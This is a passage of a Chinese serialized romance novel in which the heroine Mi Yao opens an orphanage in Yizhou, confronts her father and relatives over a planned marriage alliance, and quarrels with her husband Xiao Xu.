见着宓瑶,虞少阳先皱着眉说了如今的状况,“爹一来就要带着他们住进萧府,我哪敢放他们进去,收拾东西我搬到了之前找的那间二进宅院,我走了他们也不好再闹着住进萧府,到时候嫮嫮你见着爹,也别心软,爹像是老糊涂了,带了那么些人来。”
虞二娘子是大房嫡女比虞少阳还要大上三岁,早早就嫁了出去,夫君去世后就搬回了娘家。
至于十七娘,是二房的庶女,她记着长得与原主有几分像,虞成达有一阵子叫十七娘为小嫮嫮,被原主知晓后大发了脾气,虞成达才改了这个叫法。
,我心似铁。”
让步,萧欻也没主动找她,只是两人偶尔碰见,他便用噬人的目光盯着她。
昨日萧欻收到赵天赫的催促连夜返回益州,走之前他看了她半晌,走之前留下了一声她心似铁。
她对他这个评价还挺满意,既然知道她心似铁,往后他就会识趣少做一些和少说一些她不想回应的事与话。
步就成,对于爹你别太期待,你别看他喜爱你,他同样也喜爱其他子女,你与他们一比一,你能赢,若是
这个道理他早就晓得,所以长大后他对虞成达没什么孺慕之情,连带着对虞家也没什么归属感。
以往他年节会回虞家是因为宓瑶,今年宓瑶出嫁,他直接找了个借口没回虞家过年,而是来了益州上任。
闻言,宓瑶点了点头,而后就看向了甄婧:“嫂嫂快来抱抱阿兄,我觉着他都要说哭了。”
“我哪有……”
虞少阳辩驳的话没说完,触到甄婧心疼的目光就住了嘴,等到了晚上他头靠在妻子的胸前,感受着妻子温柔的抚摸,几分脆弱也变成了十分:“娘子,只有你心疼我。”
甄婧本想跟他说宓瑶不能生育的事,但见他一副西子捧心担不住事的模样,想想还是算了,若是今晚他哭断肠,她可是没精神再哄了。
第77章 第七十七章【VIP】
回到益州,宓瑶与虞少阳短暂见了一面后,她没急着去见虞成达,甚至在萧府都没待片刻,就出门去查看她让霜华买的大院子。
为了能尽量多的安置孤儿,在选择地址上,宓瑶选择在了西边。
因为之前的淹水,这边一片多了许多廉价的空地,比起更荒芜的南边,至少西边的平民百姓更多,不至于让孩子们处在一个很糟糕的环境。
进入城西的范围没多久,宓瑶就看到了一尊人身鱼尾的石雕,虽然觉得面容跟她不怎么像,但这石塑应该就是她的那个神女像。
石像旁侧的立牌上贴了水患时各家的捐助明细,不止是城内,各郡县的状况都写得清清楚楚。
这立牌是她建议文司马做的,而石像的事她拒绝过多次,还特意搬出了赵天赫,说节度使都没有立像,立她不合规矩。
她说完文司马就拿出了剑南舆图,指出了哪些地方立有赵天赫的生祠雕像:“夫人应该晓得,赵公恩准百姓为你建像,有为镇使造势的意思,夫人要往长远的看,镇使的底子还是太薄了些。”
有了文司马这番话,宓瑶还能说什么,自古至今,作为统治领袖的夫人,都得以贤德的形象示人。
若是真善就夸大她的慈悲,若是假善也要制造几件事按在她的头上,使德能配位。
石像的表情悲天悯人,宓瑶看了一会就收回了目光。
她上一世一直觉着自己不是什么善良的人,在福利院的时候争资源,进入社会后则是不断感受大部分男性对穷美女的占有欲。
等到靠着努力拿到一定的身份地位,她会定期给福利院捐赠一笔款项,只是那些微小的成就感很快会被生活的疲惫淹没。
这辈子睁开眼她就想好了,这个世界除了她一切都是假的,她不用在乎任何人,她可以做任何违背道德良俗,只要是利她的选择。
现在她依然把利她摆在内心首位,但同时心里还增加不少其他的东西。
比如说施善后的责任心。
“嫮嫮,你来的正好,正好门匾送过来,咱们一起瞧着它挂上去。”
虽然宓瑶说不必等她回来再挂牌,但鄢妘还是想与她一同看到这所普通的宅院,因为挂上写有慈济院的牌匾后变得不普通起来。
晓得宓瑶今日回益州,她本来以为要明日才能见到人,打算让人先把牌子放进院子里没想到宓瑶提前来了。
“我还怕你们见着我要骂我,摊子是我布下的,但这会儿才回来与你们一同干活。”
宓瑶朝鄢妘与汪晴道,“辛苦你们了。”
“不辛苦,我没做什么,都是妘姐姐在忙前忙后,而且瑶姐姐你不在,但派了人做事,这宅子也是瑶姐姐你买的,我们怎么会骂瑶姐姐……”
汪晴边摆手边紧张地说话,说到后面见宓瑶跟鄢妘捂着嘴笑她,就发现自己是紧张过分了。
宓瑶的话应该是在开玩笑。
汪晴手扭在一起:“瑶姐姐,妘姐姐,我会努力帮上忙的。”
自从汪家大闹了赵家,赵五郎被流放出益州后,汪晴就被送到了外祖家散心。
在外祖家待了一阵子,因为想自家父母,而且舅母总劝她嫁人,她又回了自个家。
因为宓瑶她们送了不少造谣生事的人进牢房,她回家后没人说她什么闲话,再加上爹娘的劝说,她偶尔也会出门散心。
只是她以前交往的那些小娘子们,得了家人的交代,都不敢再与她来往。
考虑着要不然还是去外祖那边找户相配的人嫁了,这时正好晓得了鄢妘在帮宓瑶办救济孤儿的慈济院,她脑子一激灵,终于晓得了自己能干什么。
“你愿意帮忙,我就已经够高兴了,没工钱的事你那么一副占了便宜的模样,让我觉得我是个欺负不懂事小娘子的大恶人。”
汪晴急急摆手,还没说话,触到宓瑶脸上的笑意,知道她又在开玩笑,不由也羞涩地笑了笑。
“挂牌吧,牌子挂了我们也好开始做事。”
宓瑶开口道,等到看到工人把牌子挂上院门口,有种尘埃落定的感觉,往后身上真就多了份责任了。
之前犹豫不决,现在真正定下,她反倒觉得好像也不是什么能压垮人的大责任。
反正她能做多少是多少,总归不会让这院子里的孩子过得比无家可归还惨。
,没正式说要做什么,就有百姓听到风声,送了不少菜过来,后主动自发的帮我们耕了一遍,已经种上冬麦和荞麦。”
边进院子,鄢妘边朝宓瑶说道,“有这般主动帮忙的,同样也有晓得这个宅子要拿来收养孤儿,直接把孩子扔在门口的。”
说到这个鄢妘叹了口气,“送来的大多都是婴儿,女婴偏多,其中残疾又占了大部分。”
不用鄢妘细说,宓瑶进院子就察觉出了问题,除面孔,婴儿的哭声太多,曹小婴儿在哄,见着宓瑶,萧柔撒不开手,只能边摇着婴儿边开口来,我就回我的住处,但这里孩子太多,人手不够,我就留了下来。”
“辛苦大姐了。”
萧柔摇头忙道不辛苦,说完抿了抿唇:“若是可以,弟妹这?”
听到萧柔的请求,宓瑶没觉着奇怪,只是
“大姐愿意留下帮忙,我自然乐意,咱们几个先列个粗规,比如说慈济院暂时只收养无父无母的孤儿,爹娘健在却想着我们帮他们养孩子的,我记得按着律法,这算是故杀子孙罪,徒刑一年以上。”
宓瑶说完,直接吩咐濮青:“带人找人去,一户户的找,稍后我去找一趟文司马,用银子赎徒刑的,看能不能把银子直接交到慈济院来,给我们增加点善款。”
若是说银子给她,官府铁定不同意,但说是善款,这便好处理多了。
听到宓瑶的话,几人愣做一片,均没想到她会如此处理这些被遗弃的孩子。
但想想的确是那么回事,这些残疾女婴明显被父母恶意抛弃,总不能因为她们这里善堂,就让那些抛弃子女的父母那么肆意的占便宜吧。
“若是他们没银两可罚呢?”
“后院的田地还缺免费的人去耕种,没银子干活,就用体力尝罚。”
决定要在身上揽事,宓瑶特意研读了大兴的律法。
现在大兴四分五裂,藩镇割据,但曾经也有过盛世,有盛世自然就有完善的律法。
其他地方可能律法已经形同虚设,可益州不一样,有赵天赫坐镇,该罚就罚。
为何会有人往慈济院扔孩子,鄢妘性子内敛沉稳,在没挂牌前什么都不会吐露,能让普通百姓都听到风声,自然是因为她出了力,让霜华派人到处去散播小道消息。
“那罚了银子后,这些孩子咱们要不要留下?”
汪晴想到那些残疾的孩子,若是还给他们的父母,他们应该也不会好好养育,面上于心不忍道。
“把他们爹娘的姓名住址留下,把孩子还给他们之后,定期派人去寻访就是,既生了自然要养,若是爹娘没什么品行问题,而是实在没有能力抚养,我们再帮助一二。”
宓瑶扫过几人,她知道她们都是心地善良的女子,不然不会愿意主动过来帮忙,但有些规矩却要提前说清了。
“如今世道如何,不需要我多说,我救下的这些孩子,除却被亲人卖给人魔,就是战乱地方没了父母亲人的孤儿,慈济院的一条规矩就是只收孤儿,我们救不了那么多人,只能尽力而为,若是看人可怜,就心软收进院里,最后我们只会一个人都救不了。”
“我懂。”
萧柔先点了头,在这里她出身最差,小时经历过逃荒,前些日子又在荆州见了不少乱相。
“没有规矩不成方圆,嫮嫮你的意思我们明白。”
鄢妘她们也跟着点头。
宓瑶离开那段日子,不是没人到鄢妘面前挑拨离间,说她身份比宓瑶差不离那里,为何要为宓瑶做嫁衣。
这就是原因,她有施善的心,但没有宓瑶牵头,她能做的最多是施粥救济穷人,而不是像现在这般能帮更多的人,让每一文银子都落到实处,真的能让可怜人变好。
没有什么为他人做嫁衣,而是有些人天生就该是领袖,是人群中的中心。
宓瑶一边与鄢妘她们商量,一边把院子规划的各处都看了一遍。
主要是看了住处和用于上课启蒙的地方。
授人以鱼不如授人以渔,慈济院里面是一定要设有读书识字的地方,还有给稍大的孩子提供学习手艺的地方。
逛了一遍院子,心中有了数,宓瑶在与鄢妘她们讨论了课表的安排,见时辰差不多就起身去找文司马。
除却找到那些抛弃子女的父母罚银,更重要的是另一件事。
她看大兴律法时发现大兴并不禁止表亲通婚,送到院里有一对姐妹,两人都是下半身无法直立,听姐姐说,留在家中弟弟也没办法走路,若是一个可能是意外,若是兄弟姐妹都是如此,那大概率是基因缺陷。
禁止近亲成亲,能少一大部分的残疾人。
忙完一轮,宓瑶回到府邸倒头就睡,等到第二日醒来,隐约觉得自己忘了什么,等到出门时正好碰到上门的虞成达一行人,看到原身亲爹陌生又熟悉的脸,她才想起她的便宜爹来益州了。
而且还是带着漂亮女儿来的。
“萧欻奉了父君的命令外出办事,不在府中,你们晚些日子再来搔首弄姿。”
因为手上要忙的事太多,宓瑶目光扫过精心打扮的堂姐与异母妹妹们,一开始就给彼此的关系定了基调,说完,她看向虞成达,“爹安好,一嫁就是那么远,嫮嫮可想你了。”
搔首弄姿这词难听至极,被宓瑶目光扫过的几个女娘面色不是惨白就是涨红,虞成达神色也是难看,觉得宓瑶太过蛮横,竟然当着下人的面这样说自家亲人。
但下一刻见宓瑶看向他时变了表情,委屈巴巴地说想他,眼中一片孺慕之情,他咧开嘴,觉着许久不见女儿,女儿不止变更美模样也更像自个,透着股与凡人不同的仙气飘飘。
“阿爹的乖嫮嫮,你想阿爹,阿爹自然也想嫮嫮,不郎也不会千里迢迢的从江南过来看你。”
父女俩两眼泪汪汪,哪里还记得旁边“搔首弄姿”的几个。
第78章 第七十八章【VIP】
虞成达作为家族里的吉祥物,唯一的贡献就是为虞家生了个漂亮女儿。
有人用这件事讥讽他,但他却以此为荣。
甚至把开枝散叶当做了自己身上最大的责任,后院一堆莺莺燕燕,这个年岁依然有新孩子不断出生。
宓瑶作为他现阶段最满意的作品,相比其他孩子他对她有不同寻常的喜爱,发现她比在江南时更有韵味,他抚着美髯,眼里满是对自己创造美好作品的欣赏,恨不得现在就让人摆上画具,给宓瑶画上一幅。
让画像流传出去,让世人知道他生的这个江南第一美人有多名副其实。
虞少阳因为跟虞成达相处不多,对他这个德性并不清楚,而宓瑶在虞家时,靠着原身的记忆则是琢磨出了个大概。
见虞成达面露欣赏,她十分配合地转了个圈:“今日要出门忙碌杂事,才穿得稍简陋了些,知道今日要见爹爹,我应该打扮的更妥帖才好。”
“这般就已经不错。”
宓瑶披着金银泥绘鸢尾花披帛,上身着翠绿薄罗衫,下着石榴裙,打扮简约却难掩贵气,特别是大红大绿的映衬下,宓瑶那张脸更显娇艳,哪怕头上发髻只插了几朵珠花,没有步摇凤钗,也不会让人怀疑她的身份,只是觉得别致。
越看虞成达就越满意,只是听到女儿说要处理杂事,才略有不满的开口:“那些愁心事交给下人处理就是,你去做个什么?你看看你的大伯与伯母,他们就是每日处理不完的愁心事,脸上才有那么多沟沟壑壑的纹路,难看至极。”
虞二娘子没想到自个被宓瑶骂搔首弄姿,自个的爹娘则是被虞成达说难看至极。
见父女俩有来有往的叙旧,虞成达像是完全忘却宓瑶把他们晾了一天,还有那句侮辱她的难听话。
虞二娘子跺了跺脚:“虞宓瑶你是什么意思,我好心好意来看你,你对我摆什么架子,谁搔首弄姿了!”
“来看我?”
宓瑶把她从头到尾瞟了一遍,“这话你用来骗谁,你一个寡妇千里迢迢来看与你关系不好,但是过得极好的隔房堂妹,看我什么,看我过得好,然后夜里躲在被子里可以哭大声一些?”
“你!”
没想到大半年没见,宓瑶会牙尖嘴利成这样,怪不得来过益州回去的嬷嬷会恨死了宓瑶,说她不尊长辈,不把虞家放在心中。
虞二娘子气的全身发抖:“二叔,你就任由你女儿这般说我?!”
听着侄女的求助,虞成达有意开口平息,但看着自个女儿云淡风轻,肤如新雪初凝,泛着如雾的滢光,而旁边的侄女面色通红,原本就不突出的五官,也被愤怒的色泽磨平了,整张脸像是被碾平的红果。
抚摸着胡须,在众人看着虞成达像是酝酿完要开口的时候,虞成达都没开口。
见状,虞二娘子还有什么不明白的,父女俩蛇鼠一窝,根本没人会给她主持公道。
“虞宓瑶你记着,你这萧府以后就是请我,我们虞家大房的人都不会进去,以后你也别再踏进虞家大门!”
“若是你说的话算话,你就不会千里迢迢来益州,打扮像个花孔雀似的,一个人就像是一群迎亲队,大红大紫叮咚作响,萧府你是不能进去了,但虞家,你一个外嫁女,还是丈夫死了,夫家无可依靠的寡妇,你说的话算个什么。”
听到宓瑶的话,虞成达眼眸一亮,他今天看到侄女的打扮,一直想不到一个妥帖的形容,没想到被宓瑶说出来了。
一个人宛若迎亲队伍。
妙哉,妙哉。
“都是姐妹,嫮嫮你……”
虞成达缓颊的话还没说完,就见虞二娘子气哭,捂着脸跑了。
“怎么就走了,小姐妹吵架,怎么就较起了真?”
见虞二娘子离开,宓瑶眨了眨眼,声调比起方才轻了许多,就像真疑惑虞二娘子怎么会因为那么小的事情置气。
“二娘的脾气……”
虞成达叹了口气,顺着宓瑶把错全都扔在已经走了的虞二娘子身上。
见虞二娘子被宓瑶气走了,剩下几个触到宓瑶的目光,都缩了缩脖子。
特别是嫡出的十四娘虞倚晴。
之前在虞家,虞二娘子因为瞧不惯原身张扬,给了原身不少气受,除此之外,虞倚晴也没好到哪里去。
都是嫡出,一个名气大,一个没名气,虞身。
气,原身找不到人为自己做主,而在二房,原身可以找虞成达做主,。
看着那么一伙人,包括虞成达,
间闹别扭,当着看热闹路人的面,把亲爹拒之门外就说不过了。
哪怕真要拒之门外,也得先做几次表面工作。
所以虞佳音走后,宓瑶吩咐门房将府门大开,正式地迎接了虞成达进府。
“你是小十……”
在萧府的堂厅坐下,虞成达听见虞琇叫爹,疑惑了一下,想起了宓瑶嫁到益州时,跟过来了一个媵妾。
“爹,我排行十八。”
知道虞成达一定记不着自己的名字,虞琇没有多费唇舌提醒,以前在虞家她就知道她只有比丫鬟还丫鬟,才能得到嫡姐的庇护。
如今阿姊已经不是以前的阿姊,她有了真正的亲人,就更不在意虞成达这个记不住她的亲爹。
“益州的风水养人,你如今长得都和嫮嫮有几分相似了。”
虞成达对虞琇的印象就是一个长得一般的女儿,还不如宓瑶身边侍女,没想到大半年不见人像是长开了,成了他能记住模样的样子。
虞倚晴也看向虞琇,发现她真比以往好看,不由在心中承认益州的风水养人。
本以为宓瑶是嫁到一个偏僻地方,嫁的人也是个泥腿子,她还想宓瑶这辈子完了,谁想到根本不是那么一回事。
萧欻是泥腿子,但耐不住他自个有本事,受无儿无女的剑南节度使重视。
而且萧府从门口走到大厅,摆置没一处不精致,伺候的仆人也多,相比拥挤的虞家二房,她觉得这个地方好了不止一倍。
看向给虞成达请安的三个孩子,她觉得比她想象的好。
原本以为是三个不听话,会到处给宓瑶惹麻烦的继子继女,但个个长得出众不说,看着性子也乖巧。
特别是小的两个,知道虞成达是宓瑶的爹,是他们的外祖父,直接爬上了虞成达的腿上坐下,一边坐一个,逗得虞成达直乐。
“阿姊把孩子们教的真好。”
心中想着宓瑶一定用了恶毒手段,才让这几个孩子如此听她,虞倚晴面上还是眉开眼笑,明显是想讨好宓瑶。
“别学琇儿叫我,你阿谀逢迎,把脸挤成菊花的丑陋模样,不会让我看了舒心,只会让我觉着你比以往更笨。”
之前在虞家,虞倚晴仗着也是嫡出,并不会称呼原身姐姐,只是在长辈面前,没办法了才会叫一声四姐。
听到宓瑶对虞佳音说话难听,虞倚晴就知道自个也讨不到好,但见自己都曲身讨好宓瑶,她还口出恶言,虞倚晴委屈地看向虞成达:“爹,你看看四姐,怎么说她都不满意,她是不愿意我们来看她是不是。”
“嫮嫮,脾气闹一闹就算了,现在屋里的都是自家人,你妹妹也没说错什么。”
虞成达开口调解,他看出了宓瑶对兄弟姐妹的不欢迎,若是他没带着任务来,宓瑶想如何对待她的姐妹他不管,但如今带来的每个人都有作用,哪能纵着宓瑶的脾气。
“周嬷嬷,把郎君和娘子们先带回院子休息。”
感觉到虞成达要开始正题,宓瑶挥手先减少了屋中大半的人。
“嫮嫮你与女婿相处如何?我听传闻,他对你甚是爱重。”
虞家之所以派了他带着几个虞家子弟过来,就是听了不少宓瑶在益州得势的消息,知晓了萧欻为了宓瑶一怒红颜,让常贵妃的亲弟弟命丧益州。
除此之外,虞少阳在这里也受到了重用,不像是在上京时被排挤出了权利圈。
一个家族子嗣多了的情况下,自然少不了到处联姻。
当初为了平息淮南节度使,也是如今淮南王的怒气,虞家送了不止一个女娘过去,但就是这般,淮南王对虞家依然有恨。
唐檀邑那边则是直接不接受与其他虞家女。
虞家家主把宓瑶送嫁剑南,除却不得罪两边人,就是因为看好赵天赫,到了现在他更确定自己的判断。
淮南王起兵造反,如今腹背受敌,江宁则是求着赵天赫与其结盟,现在剑南的势力稳固,荆州也隐隐要被赵天赫收入囊中。
这种情况下,虞家家主想加大砝码,就有了虞成达带着侄女和女儿来看望宓瑶。
宓瑶对自己成为了拉皮条的人脉媒介并不满意。
她知道虞成达纵容她斥骂虞佳音,是有给她示好,让她觉着他们是同一国的意思。
但这又如何。
便宜占了,她就是不帮他办事。
拦住了虞成达装作若无其事地吩咐下人去落脚地取行李,宓瑶开口道:“夫君爱重我,是因为他需要一个听话的夫人,而不是心里以娘家为重的蠢货。爹,别说搬行李了,我连留你们久坐都不成,哪个夫家会喜欢一窝子弟弟妹妹的妻子,把她们论斤卖了,铺的是虞家的路,搭的却是萧家的人脉。”
宓瑶目光扫过了虞倚晴几人,最后落在了与她模样相似的虞十四娘身上,“别说我不给娘家脸面,虞家弄一个跟我长得那么像的人来,是什么心思咱们都心知肚明。”
长相相似,旁人哪里敢娶,娶了就是不给萧欻面子,肖想他的老婆。
谁知道在睡虞十四娘子的时候是不是脑子在想睡她。
而不能嫁给旁人,自然就要便宜了萧欻。
虞家安排那么个人过来,不就是看她不听虞家的话,想找人分走她在萧府的权力。
只是他们看高了虞成达在她心中的地位,哪怕是老子带来的,她该赶还是赶。
“嫮嫮,你到现在都没有身孕,我看十八也还梳着小娘子发髻,家里头的人是为你好,你怎么光往坏处想。”
虞成达唉声叹气,“我是你爹,我还能不为你着想,若不是我在你出嫁时据理力争,你以为你能带着那么多下人的身契离开?”
宓瑶挑眉:“你需要据理力争才能让亲生女儿得到该有的待遇,相比自我感动于对我好,不如想想你这个当爹的前几十年都在做什么,有没有认真当爹,怎么会到这个年岁还钱权一样都没有,在家族中说话如此没有分量。”
宓瑶话落音,齐娘就立刻摸着腰间的刀柄,挡在了她的面前,生怕虞成达气急败坏,暴起伤人。
第79章 第七十九章【VIP】
“你这是什么意思!要打杀你亲爹不成!”
虞成达被宓瑶气得拍桌站起,还没靠近她,就被齐娘拦下。
看到齐娘的架势,虞成达往后退了一步,怕刀剑无眼,自个真受了伤。
“四姐你怎么能这样?你看不惯我们便算了,怎么对爹爹也如此。”
虞倚晴怎么也没想到,宓瑶对虞成达也敢出言不逊,藏好了眼中的看好戏,为亲爹说话道,“罗嬷嬷说你不尊重长辈,爹还不信,他如此爱护你,你却那么对爹,你简直不配为人子女。”
“四姐别忘了没有虞家,你什么也不算,你能嫁给剑南节度使的养子,是因为虞家的威势,是整个家族为你撑腰。”
宓瑶对虞倚晴和虞佳音没有好脸,虞十二郎不当回事,女子就是这般,互相看不上,因为一些小事互相辱骂指摘。
若是理会她们,反而会把自己也弄得上不了台面。
但听到宓瑶贬低虞成达,乃至整个虞家,虞十二就听不下去了。
“四姐就不该把罗嬷嬷赶走,若是身边有可以传递家中长辈命令的忠奴在,也不会如此的小家子气。”
宓瑶跟同性对怼的时候,讲究有来有往,而对待嘴巴不干净的男的,她可没那么多耐心。
她看了眼齐娘,齐娘收到指使,上前就给了虞十二两巴掌。
清脆的掌掴声响透大厅,虞十二被扇蒙了,捂着脸呆若木鸡地看着宓瑶。
“上我家门来骂我,若是不知道嘴巴是用来做什么的,我这儿不缺针线,让人给你缝了。”
“你不是我的女儿,你是谁!”
两巴掌把屋里的人都打傻了,虞倚晴缩着脖子不敢再说话,怕宓瑶让人也动手教训她。
而虞成达愣了愣,就指向了宓瑶,没了开始的慈父模样。
听他这话,宓瑶不觉得的害怕。
她不信一个只在乎外表的老男人,能对原身有多少认知。
再者他就是知道芯子换了人又如何。
“既然爹觉得我不是你女儿,那就别在这里耽误工夫了,还是趁早去找你的亲生女儿吧。”
虞少阳匆匆赶来时,正好赶上了虞成达他们被赶出萧府。
见他们的样子,虞少阳就知道妹妹没受委屈。
“我早就说了,爹你想见嫮嫮,等我下值咱们一起过来,你不说一声就带着人往萧府跑是什么意思。”
在萧府里被女儿骂,出了府邸还要被儿子骂。
虞成达面色铁青:“你妹妹是不是被人掉了包,里头那个哪里是嫮嫮,对我不尊,对弟弟妹妹也不见友爱,你看她把十二打成了什么样子。”
虞少阳目光触到虞少庆脸上的红肿,眉心皱成了一团:“嫮嫮亲自动手?肿成这样嫮嫮的手该多疼啊。”
闻言,虞成达一噎:“是她让身边侍女动的手。”
虞少阳松了口气:“那就好。”
“兄长也太偏心了,四姐是你的妹妹,难不成我就不是你弟弟,我被打成这样,你却只在乎她手疼不疼。”
“那不然?”
虞少阳面露嘲讽,“不同母的弟弟,你以为你是什么东西,你连嫮嫮的一根头发都比不上。”
“你也疯了不成,你看看你这个样子,没有半点世家子弟的气度,怎么能这么说你的亲弟弟。”
刚见到宓瑶,虞成达还觉得益州风水不错,如今他却觉得这里全都是妖风,这才多久,他儿子女儿的性子都变了。
“若想我保持世家子弟的气度,就少做让我发怒的事情,爹你说你来是为了我与嫮嫮,如今我们两人你都看到了,可以带着他们回去了。”
虞成达气闷,哪能就那么回去。
“联姻也是为了你与嫮嫮铺路,不知*你们两个是怎么回事,有家主兄妹相帮不好?若有助力,你在益州会扎根更牢。”
“那我在上京时,怎么不见大伯让爹你带着兄弟姐妹给我助力,我不是三岁小儿,爹说这些话来蒙我做什么。还是爹听了大伯的话,把这事当做了真话来说。”
听出虞少阳拐着弯地骂他三岁小儿,虞成达想跳起来打人。
但看着比他高了个头,身形也比以往强壮许多的虞少阳,虞成达叹了口气,面容像是苍老了几岁:“我对你与嫮嫮还不够好?没想到你们竟然心中都怨着我。”
虞少阳不懂虞成达说的好是指什么,小时候他觉着,但随着二房的子女越来越多,
若是真对他和妹妹好,就他们争抢资源。
等回到住处,知晓了宓瑶是如何阴阳怪气虞成达,虞少阳不觉妹妹过分,只觉妹妹说的极妙。
虞成达孩子生的不少,但十几年父亲。
想着“夫人,疼我。”
甄婧正在喂满满喝奶,看出虞少阳是借机占便宜,敲了他脑袋一记:“你什么时候把他们弄走。”
小两进的宅子,本来就不大,多了虞成达几人后更是窄小,要不是不好,她都想扔下虞少阳,带着孩子去跟宓瑶住。
就是不去萧府,就是去慈济院,也比在这里听虞佳音和虞倚晴挑剔,谩骂的好。
“我也想他们走,但你也瞧见了,我爹他成天哭惨,说我与嫮嫮待他不好,但他又不提回江南。”
宓瑶是外嫁女可以不让虞成达他们进萧府的门,但他是虞成达的亲儿子,虞成达要住在他这里,住多久他都得受着。
“我看他们是想等妹夫回来。”
想到虞十七娘子的模样,甄婧就止不住的皱眉,“你爹口口声声说对嫮嫮好,弄那么个虞家女过来,真不知是哪里好。”
说到这个虞少阳也恶心。
因为宓瑶长得美,虞成达这些年找了不少与他们娘亲相似的妾侍,十七娘的生母就与他娘长得相似。
虞成达对外说是想念他与嫮嫮的母亲,所以找了那么多相似的人,聊以相思。
但都是男人,谁还不懂。
若真相思,就会老实对待子女,而不是见一个睡一个,然后喊着亡妻的名字装深情。
“明日我送你去嫮嫮那儿,你坐着月子受不得气,我为子怎么都得受这个苦,但你和满满不能。”
甄婧听着感动,抱着虞少阳说了好几声舍不得他,听得虞少阳心花怒放,谁想到第二天天没亮甄婧起来催他收拾东西,根本不见什么舍不得。
而这事的账他自然算在了虞成达他们的身上,若不是他们赖着不走,他也不用跟妻女分离。
知道甄婧带孩子去了萧家,虞佳音气得砸了屋里的所有摆设。
“上京女又如何,如今不是虞家妇,竟敢嫌弃我们!”
虞佳音根本没想过她到益州会受气。
她想宓瑶在这里都能呼风唤雨,她能差到哪去,谁知道到这里发现根本不是那么一回事。
因为宓瑶表现出来的不欢迎,来了益州五六日,也没有哪家夫人邀她上门做客。
想让甄婧带她结识益州夫人,甄婧则是用坐月子不能见风为由拒绝。
她生的那个女儿都一个多月了,也不知道她还在坐什么月子。
“娘子,不若我们再去拜访一次四娘子,若是没她带着……”
侍女的话没说完,虞佳音便是一巴掌,见侍女捂脸歪过脑袋还不够,她又踢了一脚,见人倒在了碎片边上,惊叫连连,才觉得舒了口气。
“我虞二娘何须求着虞宓瑶做事,她不过是个脑袋空空,运气好有几分容貌添彩的蠢人,若不是我爹替她选了萧欻,她怎么可能嫁到剑南。”
越说这个虞佳音越觉得宓瑶不知感恩,她如今的一切都是大房给的,是大房为她造势夸大,才有所谓江南第一美人。
不若哪会有那么多人争抢她。
“娘子说的是,四娘子不知感恩,这般的人迟早会遭报应。”
这话听着顺耳多了,虞佳音扬起头,高傲了片刻,想到什么继续道:“让你们去找大房那个丫头,你联系上了没有?”
到处宓瑶把大房指派的罗嬷嬷赶走,留下了一个丫鬟。
本以为宓瑶会把这个丫鬟也排挤出身边,谁知道她竟然留在了身边,而且还当做心腹重用。
说到这个,侍女离虞佳音远了些,怕她再次发怒伤人。
“那丫鬟唤作诗雅,很得四娘子的重用,已经做了萧府的管事,不必再在四娘子身边做一些端水奉茶的活,只是……”
“只是什么?”
“诗雅不理奴婢们,说她的主子只有四娘子……啊!”
侍女没说完又挨了一巴掌,眼泪汪汪地捂着脸,若是可以谁不想有四娘子这个主子,伺候一年就能被重用当管事,在虞佳音这里只有挨不完的责骂。
诗雅不堪用,虞佳音一时没了辙,恰是这时一位姓苗的女娘登门拜访,给了她一些头绪。
*
“听说你骂了你爹?”
宓瑶连续忙了几天,都快忘了虞成达他们还在益州,谁想到萧欻一回来了就提醒了她这事。
而且还是特意追到慈济院来提醒她。
放下手里写的章程,宓瑶抬眼打量他,不知道他这段日子又是跑了哪,反正人是已经没再继续黑下去,保持在了浅麦色。
处在不脏与有力量感的界限上。
“郎君难道忘了,我心似铁。”
萧欻入城问了她在哪就特意赶来,嘴里正渴,喝了一壶茶水,才装傻道:“如何似铁,我分明记着嫮嫮心似菩萨,柔软怜悯。”
说着就要去抱宓瑶,宓瑶起身躲开,眉眼没因为他的话而化冰:“话是郎君说的,在九日前的晌午,若是郎君要具体的时辰与地点,那得等我让下人去取我记事的札子。”
见几天过去,宓瑶依然这样,萧欻脸上也挂上了寒霜。
他没忘记自己说了什么,甚至这几日有空还会想起,并且仔细思索宓瑶对他的态度。
他不觉得他有何处对不起她。
只觉她越来越仗着他的喜爱,不把他当成人看。
他知道人与人相处不是退就是进,他愿意让她一步步的进,却受不了她踩在他的头上,踩完了还不觉歉意,等着他的姿态一低再低。
瞧着她这个样子,他觉得他快马加鞭赶回来毫无意义。
犹如寒潭的眸子盯了宓瑶半晌,萧欻喉间涌出句句锋锐之言,又一一吞下,吞的他喉管满是被刀片划过的血痕。
“虞宓瑶你究竟是何处不满,我那日在车中提及生子,是见你喜爱孩子,才有那么一说,若不是喜爱你,我也不会看到一个与你模样相似的孩子,就想有一个同我们相似的孩儿,你若是不愿,我连药都愿替你吃,我还会逼你不成,你非要说一些不留情面的话,让我觉着我对你越好,你就越不把我当一回事。”
小时还好,等到手上有权之后,萧欻越来越不喜外露自己的喜怒。
他觉得他今日这般解剖,已经是不易,但明显何等的不易摆在宓瑶面前,都不会让她觉得满意。
宓瑶目光回视,漂亮柔媚眼眸因为这几日的忙碌,氤氲了一丝不易折的强硬。
“郎君说喜爱我,不过是看了我如何对自个好,被影响了,想好好喜爱自己,让自己吃点好的罢了。”
宓瑶淡淡,“若是真中意一个人,会想如何才能让她开心,而不是如何想自己开心,萧欻,你一不满意就叫我全名,我知道你是什么意思,你在警告我你在发怒,让我让着你,你是掌握生杀大权的主子,而我是空有世家女名头的玩物,让我认清自己的身份。”
宓瑶的语调不重,长长的一段话平铺直叙,目光似讥讽似嘲弄。
萧欻没见过这般的她,怔了怔,理解完了她话中的意思,开口想驳斥,却被屋外的敲门声打断。
第80章 第八十章【VIP】
紧绷的气氛因为敲门声有所缓解。
萧欻径直去开了门,看向既来的及时,又来的不对的下属:“什么事?”
门扉打开,一团恍若实质的阴霾溢出,濮青觉得眼前灰茫茫的一片,别说看清散发阴云的主子,他都快不能喘气。
知道自已来的时机不好,他只能硬着头皮:“镇使,夫人,来人是虞二娘子,她还带了不满禁止表亲结亲的百姓,说要向夫人讨个公道。”
“这事也要夫人劳心?”
萧欻的反问满是戾气,边说边大步往外走,濮青连忙垂着头跟上。
“因为来人是夫人的堂姐,属下们不好轻易打发。”
说着,濮青回头看了眼,见宓瑶没有出现,应该是把这事交给主子解决,就接着道,“属下直接把人打出去?”
要是来的是旁人,他就会那么处理,但这其中夹杂了虞二娘子才复杂起来,他怎么都得向宓瑶请示后再做决定。
这次回头的是萧欻,见半开的门扉没人走出跟上,萧欻不由开始思索宓瑶此时的神色,不知那双杏眼依然是满含讥讽,还是已经涌起委屈与失望。
“镇使?”
见主子不走,濮青叫了声。
“夫人为何不许表亲结亲?”
他这几日都不在城内,只知道虞成达到了益州,今日回城,听了同僚调侃,才晓得宓瑶与虞家人有了些争端。
